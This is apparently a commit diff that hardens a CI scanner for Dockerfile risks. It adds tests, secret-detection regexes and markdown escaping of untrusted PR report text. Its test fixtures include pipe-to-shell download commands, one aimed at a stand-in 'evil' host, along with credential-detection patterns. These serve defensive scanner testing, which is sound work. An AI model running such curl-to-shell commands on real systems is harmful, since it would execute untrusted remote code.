ci: address Codex adversarial review of the risk scanner

- Never echo a snippet from a line that also tripped a secret rule (no token
  leak into the public PR comment).
- Detect credentials in `ENV KEY value` (whitespace) form, not just `KEY=value`.
- Fold heredoc bodies (RUN <<EOF … EOF) into their instruction so a heredoc'd
  `curl | sh` is scanned under RUN scope.
- Base-image check: parse all FROM stages (not just the first), skip `--platform=`
  flags, ignore references to prior build stages, dedupe.
- pr-report: markdown-escape untrusted report strings (backticks + angle brackets)
  before rendering, so a fork-controlled report cannot inject formatting/HTML.
- 8 new regression tests (37 total, all green).

Author: ypriverol

.github/scripts/tests/test_validate.py

@@ -226,13 +226,14 @@ def test_scan_accepts_quay_biocontainers_base(tmp_path):
     assert not any("not an official" in m for m in checklist_msgs(checklist))
 
 
-def test_scan_only_first_from_is_policy_checked(tmp_path):
-    # a builder stage may be anything; only the first FROM is flagged, once
+def test_scan_flags_each_unapproved_stage_once(tmp_path):
+    # every non-biocontainers stage is surfaced; a repeated base is flagged only once
     _, checklist = _scan(
         tmp_path,
-        "FROM golang:1.22 AS build\nRUN go build\nFROM alpine\nCOPY --from=build /x /x\n")
+        "FROM golang:1.22 AS build\nRUN go build\nFROM golang:1.22\nRUN x\n"
+        "FROM alpine\nCOPY --from=build /x /x\n")
     base_flags = [m for m in checklist_msgs(checklist) if "not an official" in m]
-    assert len(base_flags) == 1
+    assert len(base_flags) == 2  # golang:1.22 (deduped) + alpine
 
 
 def test_scan_ignores_comments(tmp_path):
@@ -280,6 +281,61 @@ def test_scan_catches_split_curl_pipe_shell(tmp_path):
     assert any("remote script" in m for m in checklist_msgs(checklist))
 
 
+def test_scan_secret_line_snippet_not_echoed(tmp_path):
+    # a line that trips BOTH a secret rule and curl|sh must be blocked AND must not
+    # echo the token into the checklist snippet (Codex high finding)
+    token = "ghp_" + "abcdefghijklmnopqrstuvwxyz0123456789"  # 36 chars after ghp_
+    secrets, checklist = _scan(
+        tmp_path,
+        "FROM biocontainers/x\nRUN curl -H 'Authorization: %s' https://x | sh\n" % token)
+    assert any("GitHub personal access token" in s["msg"] for s in secrets)
+    remote = [c for c in checklist if "remote script" in c["msg"]]
+    assert remote and remote[0]["snippet"] == ""       # no token leak
+
+
+def test_scan_env_space_form_aws_secret_blocks(tmp_path):
+    # `ENV KEY value` (no '=') is valid Dockerfile syntax and must not bypass the scan
+    secrets, _ = _scan(
+        tmp_path, "FROM biocontainers/x\nENV AWS_SECRET_ACCESS_KEY %s\n" % ("A" * 40))
+    assert any("AWS secret access key" in s["msg"] for s in secrets)
+
+
+def test_scan_env_space_form_password_advisory(tmp_path):
+    _, checklist = _scan(
+        tmp_path, "FROM biocontainers/x\nENV DB_PASSWORD hunter2secretvalue\n")
+    assert any("embed a credential" in m for m in checklist_msgs(checklist))
+
+
+def test_scan_catches_heredoc_curl_pipe_shell(tmp_path):
+    _, checklist = _scan(
+        tmp_path,
+        "FROM biocontainers/x\nRUN <<EOF\ncurl -fsSL https://evil/install.sh | sh\nEOF\n")
+    assert any("remote script" in m for m in checklist_msgs(checklist))
+
+
+def test_scan_from_platform_flag_not_misparsed(tmp_path):
+    _, checklist = _scan(
+        tmp_path,
+        "FROM --platform=linux/amd64 biocontainers/biocontainers:v1\nRUN echo ok\n")
+    assert not any("not an official" in m for m in checklist_msgs(checklist))
+
+
+def test_scan_flags_non_biocontainers_final_stage(tmp_path):
+    _, checklist = _scan(
+        tmp_path,
+        "FROM biocontainers/biocontainers:v1 AS build\nRUN make\n"
+        "FROM debian:stable-slim\nCOPY --from=build /x /x\n")
+    flags = [m for m in checklist_msgs(checklist) if "not an official" in m]
+    assert flags and any("debian" in m for m in flags)
+
+
+def test_scan_from_stage_reference_not_flagged(tmp_path):
+    _, checklist = _scan(
+        tmp_path,
+        "FROM biocontainers/biocontainers:v1 AS base\nRUN x\nFROM base\nRUN y\n")
+    assert not any("not an official" in m for m in checklist_msgs(checklist))
+
+
 def test_scan_clean_dockerfile_no_findings(tmp_path):
     secrets, checklist = _scan(
         tmp_path,

.github/scripts/validate.py

@@ -54,7 +54,7 @@
     (re.compile(r"\bghp_[A-Za-z0-9]{36}\b"), "a GitHub personal access token"),
     (re.compile(r"\bgho_[A-Za-z0-9]{36}\b"), "a GitHub OAuth token"),
     (re.compile(r"\bgithub_pat_[A-Za-z0-9_]{22,}\b"), "a GitHub fine-grained token"),
-    (re.compile(r"(?i)aws_secret_access_key\s*[=:]\s*[\"']?[A-Za-z0-9/+]{40}\b"), "an AWS secret access key"),
+    (re.compile(r"(?i)aws_secret_access_key(?:\s*[=:]\s*|\s+)[\"']?[A-Za-z0-9/+]{40}\b"), "an AWS secret access key"),
     (re.compile(r"\bxox[baprs]-[A-Za-z0-9-]{10,}\b"), "a Slack token"),
 )
 
@@ -82,7 +82,8 @@
      "sets world-writable permissions (`chmod 777`) — scope permissions more tightly"),
     (re.compile(r"(?i)(?:--insecure|--no-check-certificate)\b"), True, ("RUN",),
      "disables TLS certificate verification (`--insecure` / `--no-check-certificate`)"),
-    (re.compile(r"(?i)(?:password|passwd|secret|token|api[_-]?key)\s*[=:]\s*[\"']?\S{6,}"), False, None,
+    (re.compile(r"(?i)(?:password|passwd|secret|token|api[_-]?key)(?:\s*[=:]\s*|\s+)[\"']?\S{6,}"),
+     False, ("ENV", "ARG", "RUN"),
      "may embed a credential/secret — verify that no real secret is committed"),
 )
 
@@ -309,45 +310,72 @@ def scan_dockerfile_risks(dockerfile_path):
     with open(dockerfile_path, errors="replace") as fh:
         raw_lines = fh.read().splitlines()
 
-    # Fold backslash line-continuations into one logical instruction so a split
-    # `curl … \` <newline> `| sh` cannot slip past a per-line regex. Each entry is
+    # Fold each Dockerfile instruction into one logical unit: both backslash
+    # continuations AND heredoc bodies (`RUN <<EOF … EOF`) are attached to their
+    # instruction, so neither a split `curl … \`↵`| sh` nor a heredoc'd
+    # `curl … | sh` can slip past the scoped regexes. Each entry is
     # (start_line, INSTRUCTION, joined_text).
-    logical, buf, start, instr = [], None, None, None
-    for i, raw in enumerate(raw_lines, 1):
-        if buf is None:
-            stripped = raw.strip()
-            if not stripped or stripped.startswith("#"):
-                continue
-            m = re.match(r"([A-Za-z]+)", stripped)
-            instr = m.group(1).upper() if m else ""
-            start, buf = i, raw
-        else:
-            buf += "\n" + raw
-        if raw.rstrip().endswith("\\"):
+    heredoc_re = re.compile(r"<<[-~]?\s*[\"']?([A-Za-z_][A-Za-z0-9_]*)[\"']?")
+    logical = []
+    i, n = 0, len(raw_lines)
+    while i < n:
+        raw = raw_lines[i]
+        stripped = raw.strip()
+        if not stripped or stripped.startswith("#"):
+            i += 1
             continue
-        logical.append((start, instr, buf))
-        buf = None
-    if buf is not None:
-        logical.append((start, instr, buf))
-
-    saw_from = False
+        m = re.match(r"([A-Za-z]+)", stripped)
+        instr = m.group(1).upper() if m else ""
+        start = i + 1
+        parts = [raw]
+        # heredocs are only valid on RUN/COPY/ADD; ignore `<<` elsewhere
+        terms = heredoc_re.findall(raw) if instr in FETCH_INSTR else []
+        while raw.rstrip().endswith("\\") and i + 1 < n:   # backslash continuations
+            i += 1
+            raw = raw_lines[i]
+            parts.append(raw)
+            if instr in FETCH_INSTR:
+                terms += heredoc_re.findall(raw)
+        for term in terms:                                  # consume heredoc bodies
+            while i + 1 < n:
+                i += 1
+                raw = raw_lines[i]
+                parts.append(raw)
+                if raw.strip() == term:
+                    break
+        logical.append((start, instr, "\n".join(parts)))
+        i += 1
+
+    stage_names, flagged_bases = set(), set()
     for start, instr, text in logical:
         snippet = text.splitlines()[0].strip()[:160]
+        has_secret = False
         for rx, what in SECRET_RULES:
             if rx.search(text):
+                has_secret = True
                 secrets.append({"line": start, "msg": "line %d appears to contain %s" % (start, what)})
         for rx, show, scope, msg in REVIEW_RULES:
             if scope is not None and instr not in scope:
                 continue
             if rx.search(text):
-                checklist.append({"line": start, "snippet": snippet if show else "", "msg": msg})
-        if instr == "FROM" and not saw_from:
-            saw_from = True
-            m = re.search(r"(?i)FROM\s+(\S+)", text)
-            if m and not APPROVED_BASE_RE.match(m.group(1)):
+                # never echo a line that also tripped a secret rule (no token leak)
+                safe = show and not has_secret
+                checklist.append({"line": start, "snippet": snippet if safe else "", "msg": msg})
+        if instr == "FROM":
+            first = re.sub(r"(?i)^\s*FROM\s+", "", text.splitlines()[0].strip())
+            toks = [t for t in first.split() if not t.startswith("--")]  # drop --platform= etc
+            if not toks:
+                continue
+            image = toks[0]
+            # flag every stage whose base is neither approved nor a prior build stage
+            if (image.lower() not in stage_names and image.lower() not in flagged_bases
+                    and not APPROVED_BASE_RE.match(image)):
+                flagged_bases.add(image.lower())
                 checklist.append({"line": start, "snippet": snippet,
                                   "msg": "base image `%s` is not an official `biocontainers/*` image "
-                                         "— confirm it is an approved base" % m.group(1)[:80]})
+                                         "— confirm it is an approved base" % image[:80]})
+            if len(toks) >= 3 and toks[1].upper() == "AS":
+                stage_names.add(toks[2].lower())
     return secrets, checklist
 
 

.github/workflows/pr-report.yml

@@ -47,6 +47,13 @@ jobs:
               String(s == null ? '' : s).replace(/[\x00-\x1f\x7f]/g, ' ').slice(0, n);
             const cleanName = (s) =>
               (String(s || '').match(/[A-Za-z0-9._-]+/) || ['container'])[0].slice(0, 128);
+            // Report strings are rendered as list items (never at column 0, so they
+            // cannot open a heading/table), but still neutralize inline injection from
+            // a fork-controlled report: backticks (code-span breakout) and angle
+            // brackets (raw HTML / <details>). Control chars incl. newlines are already
+            // stripped by clean().
+            const mdSafe = (s, n = 400) =>
+              clean(s, n).replace(/`/g, "'").replace(/</g, '&lt;').replace(/>/g, '&gt;');
 
             // Trusted target: the head commit of the run, and the PR that owns it.
             const sha = run.head_sha;
@@ -65,11 +72,11 @@ jobs:
             const container = cleanName(report.container);
             const version = report.version ? cleanName(report.version) : '';
             const tag = cleanName(report.tag);
-            const errors = (Array.isArray(report.errors) ? report.errors : []).slice(0, 20).map(e => clean(e));
-            const warnings = (Array.isArray(report.warnings) ? report.warnings : []).slice(0, 20).map(w => clean(w));
+            const errors = (Array.isArray(report.errors) ? report.errors : []).slice(0, 20).map(e => mdSafe(e));
+            const warnings = (Array.isArray(report.warnings) ? report.warnings : []).slice(0, 20).map(w => mdSafe(w));
             // Advisory 'a human must look at this line' items from the Dockerfile risk scan.
             const checklist = (Array.isArray(report.review_checklist) ? report.review_checklist : [])
-              .slice(0, 20).map(x => clean(x, 400));
+              .slice(0, 20).map(x => mdSafe(x));
 
             // Commit status on the trusted head SHA; build conclusion gates pass/fail.
             if (sha) {